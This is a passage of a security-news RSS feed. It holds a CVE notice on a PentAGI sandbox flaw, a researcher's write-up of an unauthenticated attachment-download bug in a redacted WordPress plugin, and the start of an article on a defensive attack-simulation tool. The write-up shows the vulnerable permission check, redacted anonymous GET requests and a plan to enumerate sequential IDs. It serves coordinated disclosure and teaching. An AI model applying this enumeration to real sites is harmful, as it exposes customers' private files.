<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/vxcontrol:pentagi">vxcontrol PentAGI up to 2.1.0</a>. This affects an unknown function of the file <em>backend/pkg/docker/client.go</em> of the component <em>Docker API</em>. The manipulation leads to sandbox issue.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-14784">CVE-2026-14784</a>. The attack may be initiated remotely. There is no available exploit.

The pull request to fix this issue awaits acceptance.]]></content:encoded>
</item>
<item>
<title><![CDATA[I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a…]]></title>
<description><![CDATA[I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a Duplicate Taught Me What “Fixed” Really MeansAuthor: Shikhali JamalzadeGitHub: alisalive · LinkedIn: camalzadsDisclosure Notice: This research was conducted entirely in an isolated, locally-hosted Docker te...]]></description>
<link>https://tsecurity.de/de/3646320/hacking/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646320/hacking/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:15 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xavI1_sTm7sTpNEO_Vf7A.png"></figure><h3>I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a Duplicate Taught Me What “Fixed” Really Means</h3><h4><strong>Author:</strong> <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br><strong>GitHub:</strong> <a href="https://github.com/alisalive">alisalive</a> · <strong>LinkedIn:</strong> <a href="https://linkedin.com/in/camalzads">camalzads</a></h4><blockquote><strong><em>Disclosure Notice:</em></strong><em> This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fresh install of WordPress and the publicly available “latest-stable” release of the plugin in question, downloaded directly from the official WordPress.org plugin repository. No live, production, or third-party website was accessed, scanned, or tested at any point. All file contents shown are synthetic test data created solely for this research. The affected plugin’s name and the exact route are intentionally redacted here, because the underlying issue is currently being tracked through coordinated disclosure and may not yet be fully patched at the time of writing. This write-up is published strictly for educational purposes.</em></blockquote><h3>Background</h3><p>Most of my CVE research starts from one theory: a plugin whose developers made one authorization mistake will usually have made others, and the categories that leak most often are the ones tied to user-owned objects — tickets, attachments, profiles, orders. Broken Access Control is, by a wide margin, the single most productive class in the WordPress plugin ecosystem, and unauthenticated variants sit at the top of that list.</p><p>This time the target was a <strong>support-desk / ticketing plugin</strong> — the kind of software where customers upload invoices, ID scans, contracts, and screenshots straight into a ticket. If the endpoint that serves those attachments doesn’t check <em>who</em> is asking, the impact isn’t abstract: it’s other people’s private documents.</p><p>What follows is a fully independent, fully reproducible finding — and the moment, after submission, when I learned it overlapped with a report already sitting in a vulnerability database’s pipeline. I’m publishing the technical breakdown anyway, because the methodology and the honest reconciliation with prior art are the actual point of doing this in public.</p><h3>Scope &amp; Method</h3><ul><li><strong>Target:</strong> A WordPress support/ticketing plugin (redacted), latest-stable from WordPress.org</li><li><strong>Environment:</strong> Local, isolated Docker stack — WordPress + MySQL 5.7</li><li><strong>Assessment Type:</strong> White-box source audit + black-box PoC validation</li><li><strong>Authorization:</strong> Self-authorized, isolated local research environment — no live targets</li><li><strong>Tools:</strong> grep, WP-CLI, curl, docker, MySQL CLI</li></ul><h3>Phase 1: Target Confirmation</h3><p>Before touching anything, I confirmed exactly what I was auditing: the plugin name, its version, that it was active, and the WordPress version underneath it. This is the first screenshot in every submission I make, because a reviewer needs to know the finding was validated against a real, current install — not a hypothetical.</p><pre>=== TARGET CONFIRMATION ===<br>Plugin:    &lt;redacted&gt; (latest-stable)<br>Version:   &lt;redacted — current release at time of testing&gt;<br>Active:    YES<br>WordPress: 7.0<br>Site URL:  http://&lt;local-docker&gt;:8080</pre><p>The critical detail here: I was testing the <strong>current</strong> version. Not an old release with a known history — the newest code the plugin ships today.</p><h3>Phase 2: Mapping the Attack Surface</h3><p>The plugin exposes its functionality through a REST namespace. I exported the source via SVN and mapped every route, paying special attention to the permission callbacks — the functions WordPress calls to decide whether a request is allowed <em>before</em> the handler runs.</p><pre>grep -n "RegisterRestRoute\|permission" &lt;source&gt;/api/v1/&lt;controller&gt;.php</pre><p>One route stood out immediately — the handler that serves ticket and reply <strong>file attachments</strong>:</p><pre>$this-&gt;RegisterRestRoute(<br>    'GET',<br>    'file-dl/(?P&lt;type&gt;[a-zA-Z0-9-]+)/(?P&lt;id&gt;[0-9_]+)/(?P&lt;file&gt;[^/]+)',<br>    [$this, "file_dl"]<br>);</pre><p>Three attacker-controlled segments — a type selector, a numeric identifier, and a filename — feeding a file-download handler. Exactly the shape of an IDOR, <em>if</em> the permission gate is weak. So I read the gate.</p><h3>Phase 3: Root Cause</h3><p>The route’s permission logic resolved, for this particular download route, to a single unconditional line:</p><pre>} elseif ($route == "file-dl") {<br>    return true;<br>}</pre><p>That’s the whole bug. The permission callback returns true for the attachment-download route <strong>unconditionally</strong> — no authentication check, no nonce, no verification that the requester owns the ticket the file belongs to. Once that callback returns true, WordPress hands the request straight to the download handler, which reads the identifier and filename from the URL and returns the file.</p><p>Because the callback never looks at the current user, there is no notion of “your ticket” versus “someone else’s ticket.” Every attachment is reachable by everyone — including an anonymous visitor with no account at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lpAnerehFINPi_d71dGXaQ.png"></figure><h3>Phase 4: Building an Isolated Test Environment</h3><p>To prove impact safely, I stood up a throwaway install rather than touching any live site: WordPress + MySQL 5.7 in Docker, the plugin installed from the dashboard, and a realistic victim scenario seeded by hand.</p><p>I created two synthetic victim artifacts, standing in for what a real customer would attach:</p><ul><li>A <strong>ticket attachment</strong> (type = T) containing a fake "confidential customer record."</li><li>A <strong>reply attachment</strong> (type = R) containing a fake "private invoice."</li></ul><pre>=== SETUP: victim ticket + reply attachments ===<br>[ticket attachment created — synthetic "customer record"]<br>[reply attachment created — synthetic "invoice"]<br>Files created: 2</pre><p>I also inserted the matching reply row into the plugin’s database table, because the reply-download path validates that a reply record exists before serving its file. This made the second attack vector reachable exactly as it would be on a real site.</p><h3>Phase 5: Proof of Concept</h3><h3>Vector 1 — Unauthenticated Ticket Attachment (type = T)</h3><p>From a session with <strong>no cookies, no auth header, no login</strong>, I requested the ticket attachment and filtered the output to show that the request carried no credentials and the server returned the file anyway:</p><pre>&gt; GET /wp-json/&lt;plugin&gt;/v1/ticket/file-dl/T/1/&lt;file&gt; HTTP/1.1<br>&gt; Host: &lt;local-docker&gt;<br>&lt; HTTP/1.1 200 OK<br>[SYNTHETIC CONFIDENTIAL RECORD RETURNED]</pre><p>No Cookie header. No Authorization header. HTTP 200, and the full attachment content in the response body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Amwgj9qEjLNevJjkzXtbFg.png"></figure><h3>Vector 2 — Unauthenticated Reply Attachment (type = R)</h3><p>The reply path uses a compound {ticketId}_{replyId} identifier. Same anonymous session, same result:</p><pre>&gt; GET /wp-json/&lt;plugin&gt;/v1/ticket/file-dl/R/1_1/&lt;file&gt; HTTP/1.1<br>&gt; Host: &lt;local-docker&gt;<br>&lt; HTTP/1.1 200 OK<br>[SYNTHETIC PRIVATE INVOICE RETURNED]</pre><p>Two independent download paths, both fully unauthenticated.</p><h3>Integrity Proof</h3><p>A 200 response proves the endpoint answered — but I wanted to prove the anonymous request returned the <em>actual victim file</em>, byte for byte, not a placeholder or an error page. So I compared the MD5 of the file on disk with the MD5 of what the unauthenticated request pulled down:</p><pre>--- [A] File on server (victim's attachment) ---<br>254e7a2a21c6d0d55fbc11fc08e30c18   &lt;server-side file&gt;</pre><pre>--- [B] Content retrieved via unauthenticated request ---<br>254e7a2a21c6d0d55fbc11fc08e30c18   &lt;downloaded file&gt;</pre><p>Identical hashes. Byte-for-byte exfiltration, from an anonymous session, confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lztI7rFSqfGIsOZPdtpkWg.png"></figure><h3>Why This Scales</h3><p>The identifiers are <strong>sequential integers</strong>. An attacker doesn’t need to guess — they increment. Combined with the fact that support tickets routinely carry personal data, invoices, and contracts, and that the plugin’s upload whitelist covers pdf, doc/docx, xls/xlsx, txt, and common image formats, a single unauthenticated loop over the ID space harvests attachments across every customer on the site.</p><p>Estimated severity: <strong>CVSS 3.1 7.5 (High)</strong> — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Network-reachable, no privileges, no interaction, high confidentiality impact.</p><h3>The Reality Check</h3><p>Before public disclosure I did what I always do now: I checked the vulnerability databases and I contacted the vendor.</p><p>The vendor email went out first — a responsible-disclosure notice with a summary of the issue and a request for a secure contact, deliberately <em>without</em> the full PoC in the first message. Then I submitted the finding to a CNA with the complete technical detail and requested a CVE.</p><p>The response was: <strong>duplicate.</strong></p><p>Not a duplicate of the plugin’s older, public authorization issues — those were a different, integrity-only problem on a different function. This was a duplicate of a <strong>separate report already in the CNA’s pipeline</strong>, covering exactly this unauthenticated attachment-download route and exactly this “permission callback returns true” root cause, already tracked with the confidentiality impact of returning full attachment contents to anonymous callers.</p><p>Someone had gotten there first, by a matter of weeks, into a queue I couldn’t see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*4qJhNuOGBEbGm_3ukmDEbA.png"></figure><h3>What I Was Told — and What It’s Worth</h3><p>Here’s the part that turned a rejection into something genuinely useful. The existing record was filed against an <strong>earlier version</strong>, and marked fixed in a later one. My finding reproduced on the <strong>current</strong> release — the one that was supposed to be patched.</p><p>The reviewer’s response was precise, and I’m quoting the substance of it because it reframed the whole finding for me: my confirmation that the issue <strong>still reproduces on the current version</strong>, together with the byte-for-byte MD5 proof, would be used to <strong>extend the affected-version range</strong> on the existing entry beyond the version it was originally filed against. Because it’s the same vulnerability and the same code path, it’s handled under the existing record rather than as a separate CVE.</p><p>So: no CVE with my name on it. But my independent reproduction demonstrated that a fix believed to close the issue <strong>did not</strong>, and that correction lands in the public record where it actually protects people. That’s not nothing. That’s the point of the work.</p><p>I want to be precise about what I’m claiming and what I’m not. I did not discover a novel bug here — I independently rediscovered a known one and proved it was still live where it was believed dead. The value isn’t novelty; it’s verification. Those are different contributions, and conflating them would be dishonest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYv4UU9Un9ZCuQuy78rK9w.png"></figure><h3>Attack Chain Summary</h3><pre>[Attacker — no credentials, no prior session]<br>        │<br>        ▼<br>[1] Map REST routes; find attachment-download handler<br>        │<br>        ▼<br>[2] Read permission callback → returns true unconditionally for file-dl<br>        │<br>        ▼<br>[3] Seed victim ticket + reply attachments in isolated Docker install<br>        │<br>        ▼<br>[4] GET file-dl/T/&lt;id&gt;/&lt;file&gt;  → HTTP 200, ticket attachment (no auth)<br>        │<br>        ▼<br>[5] GET file-dl/R/&lt;id&gt;/&lt;file&gt;  → HTTP 200, reply attachment (no auth)<br>        │<br>        ▼<br>[6] MD5(server file) == MD5(downloaded file) → byte-for-byte exfiltration<br>        │<br>        ▼<br>[7] Sequential IDs → enumerate → harvest attachments across all tickets</pre><h3>What This Taught Me</h3><p><strong>A “fixed in X” label is a claim, not a guarantee.</strong> The most valuable thing I did in this entire audit was test the <em>current</em> version instead of assuming the changelog was true. The issue was marked fixed; it wasn’t. Independent reproduction against the latest release is how that gets caught.</p><p><strong>Duplicate-by-pipeline is invisible until it isn’t.</strong> I checked every public database before submitting, and it was clean — because the report that duplicated mine wasn’t public yet. You cannot fully de-risk this. What you <em>can</em> do is target less-crowded plugins: the more popular the software, the more researchers are already circling it. Two of my findings that week collided with pipeline reports; both were popular plugins. The niche ones didn’t collide.</p><p><strong>Precision about your own contribution is a security skill.</strong> “I found a new bug,” “I independently rediscovered a known bug,” and “I proved a known bug wasn’t actually fixed” are three different sentences with three different truth values. Picking the correct one — especially when the flattering one is right there — is part of doing this honestly.</p><p><strong>The process transfers regardless of the outcome.</strong> Standing up an isolated environment, tracing an unauthenticated entry point to confirmed impact, building two independent PoCs, proving exfiltration with a hash rather than a screenshot alone — that skill set is identical whether the audit ends in a CVE or a “thanks, we’ll extend the range.”</p><p>If you found this useful, feel free to connect on <a href="http://linkedin.com/in/camalzads">LinkedIn </a>or check out my tools on <a href="http://github.com/alisalive">GitHub</a>.</p><p><em>All testing was conducted in an isolated, locally-hosted environment using a publicly available plugin release. No live or third-party systems were accessed at any point during this research. The plugin name and exact route are redacted pending completion of coordinated disclosure.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=435e86868d04" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a-435e86868d04">I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation]]></title>
<description><![CDATA[A self-hosted CTI-to-detection workbench for ATT&CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.IntroductionAdversaryGraph started as a practical question:How can a security team move from threat intelligence ...]]></description>
<link>https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</guid>
<pubDate>Sun, 05 Jul 2026 08:22:34 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A self-hosted CTI-to-detection workbench for ATT&amp;CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pE4s-eX1wFWMUOsnozr16w.png"></figure><h3>Introduction</h3><p>AdversaryGraph started as a practical question:</p><p><strong>How can a security team move from threat intelligence to detection engineering without losing the evidence trail?</strong></p><p>Most CTI workflows produce useful text, but the next steps are often manual. An analyst reads a report, extracts behaviors, maps them to MITRE ATT&amp;CK, compares them with known actors, enriches IOCs, writes detection ideas, and then asks a detection engineer to validate whether telemetry actually exists in the SIEM.</p><p>That gap is where a lot of defensive work slows down.</p><p>AdversaryGraph v5.0 is my attempt to make that workflow more operational. It is not only a CTI visualization project. It is a self-hosted analyst workbench that connects:</p><ul><li><strong>Report and telemetry analysis.</strong></li><li><strong>ATT&amp;CK technique mapping.</strong></li><li><strong>Group, campaign, and report similarity.</strong></li><li><strong>IOC enrichment and investigation.</strong></li><li><strong>Malware analysis workflows.</strong></li><li><strong>Asset attack-surface mapping.</strong></li><li><strong>Attack simulation.</strong></li><li><strong>SIEM forwarding and validation.</strong></li><li><strong>Analyst-ready documentation and reports.</strong></li></ul><p>The main addition in release 5.0 is <strong>Attack Simulation</strong>: a controlled ATT&amp;CK validation workspace where an analyst can select a technique, run approved lab scenarios, inspect target-side telemetry, forward logs to a SIEM collector, and use an AI assistant to generate coherent multi-phase attack-chain drills.</p><p>This article explains what is new in v5.0, how the architecture works, what the platform can do today, and how I expect analysts and detection engineers to use it.</p><p>Project links:</p><ul><li>Project landing page: <a href="https://1200km.com/adversarygraph/">https://1200km.com/adversarygraph/</a></li><li>Documentation: <a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></li><li>GitHub: <a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></li><li>Release v5.0.0: <a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0</a></li></ul><h3>Table of Contents</h3><ul><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cea9"><strong>The Problem: CTI Often Stops Before Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dfa8"><strong>What AdversaryGraph Is</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cb81"><strong>Core Capabilities Before v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#873f"><strong>What Is New in v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#bca9"><strong>TTP-First Simulation Workflow</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#b2a4"><strong>Real Lab Telemetry for Web Scenarios</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#251c"><strong>SIEM Forwarding</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#a5cc"><strong>AI Attack Assistant</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#3d3e"><strong>Coherent Kill Chains, Not Random Events</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#2f06"><strong>Explain Attack</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#f317"><strong>Named Scenario Library</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#144f"><strong>Safety Boundaries</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cd7c"><strong>How This Fits Detection Engineering</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e7d0"><strong>Architecture Overview</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#6252"><strong>Example Use Case: Password Spray Detection</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#231b"><strong>Example Use Case: Web Recon to Exploit-Shaped Telemetry</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8a5c"><strong>Example Use Case: Malware Findings to Detection Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dbfb"><strong>Example Use Case: Asset Inventory to Attack Surface</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8e80"><strong>What This Release Is Not</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#ff3a"><strong>What Makes v5.0 Different</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#22f6"><strong>Final Thoughts</strong></a></li></ul><h3>The Problem: CTI Often Stops Before Validation</h3><p>A typical CTI-to-detection workflow looks like this:</p><ol><li>Read an external report, internal incident report, malware note, or intelligence summary.</li><li>Extract behaviors: PowerShell, scheduled tasks, credential dumping, public-facing application exploitation, exfiltration, persistence, discovery, and so on.</li><li>Map those behaviors to MITRE ATT&amp;CK.</li><li>Compare them with known actor and campaign profiles.</li><li>Identify relevant IOCs.</li><li>Write hunting hypotheses and detection logic.</li><li>Ask whether the SIEM actually receives the required telemetry.</li><li>Test rules with sample logs, lab traffic, or purple-team activity.</li></ol><p>The hard part is not just mapping. The hard part is preserving the chain from <strong>evidence</strong> to <strong>technique</strong> to <strong>telemetry</strong> to <strong>detection validation</strong>.</p><p>If the SIEM parser is broken, the detection will not fire.</p><p>If the event structure is wrong, the rule will not match.</p><p>If the test event is too synthetic, the validation result is misleading.</p><p>If the ATT&amp;CK mapping is not tied back to evidence, the report becomes hard to defend.</p><p>AdversaryGraph v5.0 focuses on this full chain.</p><h3>What AdversaryGraph Is</h3><p>AdversaryGraph is a self-hosted CTI-to-detection platform. It combines a public research interface with a Docker-based private platform.</p><p>The public site is useful for exploration: ATT&amp;CK matrix navigation, group research, public technique context, and project documentation.</p><p>The self-hosted platform is where private work belongs: AI-assisted report analysis, stored investigations, IOC enrichment, malware-analysis workflows, asset inventories, attack simulation, SIEM validation, and API-driven workflows.</p><p>The high-level workflow is:</p><ol><li><strong>Ingest</strong> reports, logs, IOCs, malware findings, asset inventory, or feed data.</li><li><strong>Map</strong> behaviors to ATT&amp;CK with evidence and confidence.</li><li><strong>Enrich</strong> IOCs, actors, campaigns, malware families, and references.</li><li><strong>Validate</strong> coverage using lab telemetry and SIEM forwarding.</li><li><strong>Report</strong> findings in analyst-ready form.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sMubTyaMt5F9zU2t.png"></figure><h3>Core Capabilities Before v5.0</h3><p>Release 5.0 builds on a broader platform. The major existing modules are still part of the release and matter because Attack Simulation is designed to connect to them.</p><p><strong>All capabilities here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/capabilities/">Platform Capabilities | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><h4>AI-Assisted ATT&amp;CK Mapping</h4><p>Analysts can paste text or upload reports and ask the configured LLM provider to extract ATT&amp;CK candidates. The platform supports multiple provider options, including Claude, OpenAI, Gemini, MiniMax, and local OpenAI-compatible gateways.</p><p>The important part is not simply “ask AI for TTPs.” The useful part is that mappings are treated as analyst-assistance data:</p><ul><li>Techniques are shown with evidence.</li><li>Confidence is visible.</li><li>Output can be reviewed before operational use.</li><li>Extracted TTPs can be pushed into the Navigator.</li><li>Results can be compared with groups, campaigns, and stored reports.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YMWb4u7m0Ogpsb6T.png"></figure><h4>ATT&amp;CK Navigator and Group Context</h4><p>The Navigator is the central workspace for technique review. It supports Enterprise, Mobile, ICS, and ATLAS-style workflows. Analysts can search techniques, build layers, overlay group context, import/export layers, and move selected TTPs into comparison and reporting workflows.</p><p>This matters because many teams already think in ATT&amp;CK, but their toolchain is split between reports, spreadsheets, diagrams, SIEM rules, and ticketing systems. AdversaryGraph tries to keep the matrix connected to the rest of the investigation.</p><h4>Group, Campaign, and Report Similarity</h4><p>AdversaryGraph uses TTP overlap as a way to generate hypotheses. It compares selected behavior against ingested group profiles, campaigns, and stored report libraries.</p><p>This is intentionally framed as similarity, not attribution.</p><p>TTP overlap can help prioritize research. It can suggest which actor profiles or campaigns deserve review. It is not proof that a specific actor is responsible for an intrusion.</p><h4>IOC Investigation</h4><p>The IOC workflow lets analysts pivot from observable data into reputation and relationship context. IPs, domains, URLs, hashes, and other observables can be investigated with feed context and ATT&amp;CK leads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SHhDv7Qw2exVtviQ.png"></figure><h4>Malware Analysis</h4><p>The Malware Analysis module connects static triage, hash checks, unpacking, strings, decompilation/debug views, runtime-gated analysis, and AI summaries back to the CTI workflow.</p><p>The point is not to replace a reverse engineer. The point is to help analysts preserve malware-derived evidence and map it into ATT&amp;CK, IOCs, and investigation outputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W0QBOK9La3Q3mirM.png"></figure><h4>Asset Attack-Surface Mapping</h4><p>AdversaryGraph can ingest asset inventory input, normalize assets, score exposure, propose likely entry points, and map asset-driven ATT&amp;CK candidates.</p><p>This is useful when the question is not “what did the attacker do?” but “what could an attacker realistically try against my exposed environment?”</p><p>Examples:</p><ul><li>Public web applications.</li><li>VPN and identity services.</li><li>Exposed admin panels.</li><li>Cloud assets.</li><li>Remote management services.</li><li>High-value internal systems.</li><li>Scanner and CMDB exports.</li></ul><h3>What Is New in v5.0</h3><p>The headline feature is <strong>Attack Simulation</strong>.</p><p>Attack Simulation is designed for defensive validation and detection engineering. It lets analysts work from a TTP-first interface, run safe simulations, inspect telemetry, and forward events to a SIEM.</p><p>This is not an exploitation framework. It does not run malware. It does not execute arbitrary commands against arbitrary user targets. It is a controlled validation workspace for authorized lab scenarios and source-shaped telemetry drills.</p><p>The v5.0 release adds:</p><ul><li>A new Attack Simulation workspace.</li><li>ATT&amp;CK-style matrix selection for runnable simulations.</li><li>Dedicated configuration pages per selected TTP.</li><li>Built-in lab web target for web-focused scenarios.</li><li>Target-side real-time log viewing.</li><li>SIEM forwarding to HTTP(S) collectors.</li><li>Saved recent SIEM destinations.</li><li>AI Attack Assistant.</li><li>“Challenge Me” mode.</li><li>Complicated multi-source attack-chain scenarios.</li><li>25 named coherent scenario templates.</li><li>Attack-chain graph.</li><li>Explain Attack panel.</li><li>Source-shaped Windows, Sysmon, EDR, DNS, proxy, firewall, web, and WAF event generation for SIEM parser and rule validation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6nP-gwkSId3d917_.png"></figure><h3>TTP-First Simulation Workflow</h3><p>The workflow starts with the ATT&amp;CK matrix.</p><p>Runnable simulation cells are visible directly in the matrix, and related TTP pages can link back into the simulation workflow. This keeps the analyst oriented around ATT&amp;CK instead of hiding simulations behind unrelated forms.</p><p>The basic flow is:</p><ol><li>Open Attack Simulation.</li><li>Choose a TTP from the matrix.</li><li>Open the dedicated simulation page.</li><li>Review what the scenario does.</li><li>Review telemetry source and event structure.</li><li>Run the lab scenario or AI-assisted telemetry drill.</li><li>Inspect logs in real time.</li><li>Forward selected logs to the SIEM.</li><li>Confirm whether detections fired.</li><li>Record validation gaps.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1RZJyK6gkRejmuv0.png"></figure><p>Each scenario explains:</p><ul><li>What happens.</li><li>What adversary behavior is represented.</li><li>Which system emits telemetry.</li><li>Which event structures are expected.</li><li>What the detection should focus on.</li><li>Which telemetry is production-like and which is a lab canary.</li><li>What the validation gaps are.</li></ul><p>That explanation is important. A simulation without context is just noise. A simulation with context becomes a detection-engineering exercise.</p><h3>Real Lab Telemetry for Web Scenarios</h3><p>One major design goal was to avoid fake “log generation” for web scenarios where a real lab target can safely produce logs.</p><p>For web-focused simulations, the Docker deployment includes an attack-lab-web target. The AdversaryGraph API sends real HTTP requests to that lab web server over the Docker network. The target server writes its own logs.</p><p>The analyst can then inspect real target-side telemetry such as:</p><ul><li>NGINX access logs.</li><li>NGINX error logs.</li><li>Application authentication logs.</li><li>WAF/security-style logs.</li><li>Structured web JSONL telemetry.</li><li>Run-specific JSONL logs.</li><li>Merged attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*CPDdyF-3kyqCleFB.png"></figure><p>This is different from simply printing a row that looks like an access log. The request is sent to the lab server, and the server emits the log.</p><p>Supported web-focused scenarios include:</p><ul><li>HTTP and TLS service fingerprinting.</li><li>Public application probing.</li><li>Path discovery.</li><li>Sensitive file and configuration path access.</li><li>Directory traversal canaries.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>Command-injection-shaped requests.</li><li>Web-shell access canaries.</li><li>Upload and download scenarios.</li><li>Failed-login flows.</li><li>Brute-force patterns.</li><li>Password spray.</li><li>User enumeration.</li><li>Beacon-like web traffic.</li><li>Exfiltration-shaped traffic.</li></ul><p>The key phrase is “attack-shaped canary.” The goal is to generate realistic defensive telemetry without exploiting a real target or executing harmful payloads.</p><h3>SIEM Forwarding</h3><p>Validation is incomplete if the event never reaches the SIEM.</p><p>The v5.0 SIEM forwarding panel sends selected Attack Simulation telemetry to HTTP(S) collectors. This can be used with Logstash HTTP input, Splunk HEC-style collectors, XpoLog/Logeye listeners, or custom webhook receivers.</p><p>Supported controls include:</p><ul><li>Full URL or raw host:port/path destination.</li><li>Direct destination mode.</li><li>Docker host gateway routing.</li><li>Automatic route selection.</li><li>Raw original line per request.</li><li>JSON event per request.</li><li>JSON Lines.</li><li>Batch envelope.</li><li>No auth.</li><li>Bearer token auth.</li><li>Token auth.</li><li>Basic auth.</li><li>Custom token header.</li><li>Source selection: access, auth, endpoint, WAF/security, error, structured JSONL, run JSONL, or all attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*DYOx-cPX4OK1g66v.png"></figure><p>The platform also keeps the last 10 non-secret SIEM destinations for reuse. This is useful during repeated parser testing, rule 